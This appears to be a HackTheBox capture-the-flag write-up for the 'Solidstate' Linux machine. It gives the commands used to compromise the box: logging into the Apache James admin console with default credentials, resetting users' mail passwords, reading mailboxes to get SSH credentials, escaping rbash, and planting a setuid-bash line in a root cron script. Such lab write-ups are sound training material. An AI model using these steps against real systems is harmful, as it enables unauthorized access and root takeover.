> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-medium/solidstate-hackthebox-writeup.md). # Solidstate HackTheBox Writeup Solidstate HackTheBox Medium Linux machine writeup covering Abusing James Remote Administration Tool, Changing a user's email password, Information Leakage, Escaping Restricted Bash (rbash), with prac {% embed url="" %} {% hint style="warning" %} **Skills:** * Abusing James Remote Administration Tool * Changing a user's email password * Information Leakage * Escaping Restricted Bash (rbash) * Creating a bash script in order to detect cron jobs (procmon.sh) * Abusing Cron Job (Privilege Escalation) {% endhint %} ## Reconnaissance **Workspace Setup:** Set up the workspace by creating three folders to store important content, exploits, and Nmap reconnaissance results.

**VPN Connectivity Check** Check VPN connectivity to ensure stable communication with the target machine.

**Open Port Discovery with Nmap:** Exploring open ports and exporting to the "allPorts" file in the Nmap directory. ```bash nmap -p- --open -n -Pn -sS -vvv --min-rate 5000 10.10.10.51 -oG allPorts ```

**Open Port Analysis with extractPorts:** Using the extractPorts function to in a concise format display open ports and copy them into the clipboard (22.25,80,110,119,45555)

Port Version Scan with Nmap: Use Nmap to scan service versions and save the output in the "targeted" file: ```bash nmap -sCV -p22,25,80,110,119,4555 10.10.10.51 -oN targeted ```

### Port 80 #### No interesting information was found on port 80.

## JAMES Remote Administration ### Port 119 - NNTP > Port 119 uses the Network News Transfer Protocol. The server runs an Apache James instance, a mail server and news. We connect with `netcat`, but no relevant information is found. ```bash nc 10.10.10.51 119 ```

### Port 4555 - Remote Administration Tool > In the context of remote administration, it can be operated to access control panels or to interact with remote services on the target machine. It is important to scan it to see if it is open and what service it hosts. We try to connect to the James administration panel via Telnet: ```bash telnet 10.10.10.51 4555 ```

After searching for the default credentials, we find: * **ID** : root * **Password** : root

We connect successfully and access James' administration panel. We have the option to list users with the `listusers` command, allowing us to discover 5 users: * `user: james` * `user: thomas` * `user: john` * `user: mindy` * `user: mailadmin`

We can change user passwords with the `setpassword` command to connect them to the mail client on port 110. We do this for all users: ```ada setpassword james james setpassword thomas thomas setpassword john john setpassword mindy mindy setpassword mailadmin mailadmin ```

### Port 110 - POP3 > Port 110 is the standard port used for **POP3** (Post Office Protocol version 3). This protocol is used by email clients to retrieve emails from a server. When a user connects to a POP3 server via this port, they can download their messages. We now connect to the POP3 client via Telnet:

telnet 10.10.10.51 110

To connect, we use the following commands: ```ada USER PASS ``` We list messages with the `list` command. We observe that there are no messages in the boxes of `james` and `thomas`.

However, the user `john` has a message that we recover with the `retr 1` command. The message contains the following text: > John, > > Can you restrict Mindy's access until she's allowed to join the program? Also make sure to send her a temporary password so she can connect to her accounts. > > Thanks in advance. > > Cordialement,/ James

This suggests that the user `mindy` has credentials in his mailbox. Indeed, we find the following information: * **Username** : mindy * **Password** : P\@55W0rd1!2@

We use these credentials to connect via SSH and get the flag `user.txt`. ### Flag user.txt :)

## Privilege Escalation : ### **Escape from RBash to Bash** The `mindy` user currently uses a `rbash` shell that limits the execution of many commands.

To circumvent this restriction, we use the following command when connecting SSH to obtain a Bash shell: ```bash ssh mindy@10.10.10.51 -t "bash --noprofile" ```

We then use the following commands to process the terminal and get a complete shell: ```bash script /dev/null -c bash # Ctrl+Z stty raw -echo; fg reset xterm export TERM=xterm export SHELL=bash stty rows 44 columns 184 ``` ### Cron tasks - Modified Script (Python): We create a Bash script to analyze current processes and detect cron tasks performed on the target machine: ```bash #!/bin/bash old_process=$(ps -eo user,command) while true; do new_process=$(ps -eo user,command) diff <(echo "$old_process") <(echo "$new_process") | grep "[/>/<]" | grep -vE "script|command|kworker" old_process=$new_process done ``` By running this script, we notice that the **root** user is running a Python script located in the `/opt/tmp.py` directory.

We have the possibility to modify this Python script.

We modify it to add the command to set a **setuid** on the `/bin/bash` binary, allowing us to run a Bash shell with the privileges of **root**: ```python #!/usr/bin/env python import os import sys try: os.system('chmod u+s /bin/bash') except: sys.exit() ``` After editing the script, we wait about a minute for the cron task to run. Once the cron task is executed, we can get a Bash shell with **root** privileges by running the following command: ```bash /bin/bash -p ```

### Flag root.txt :)

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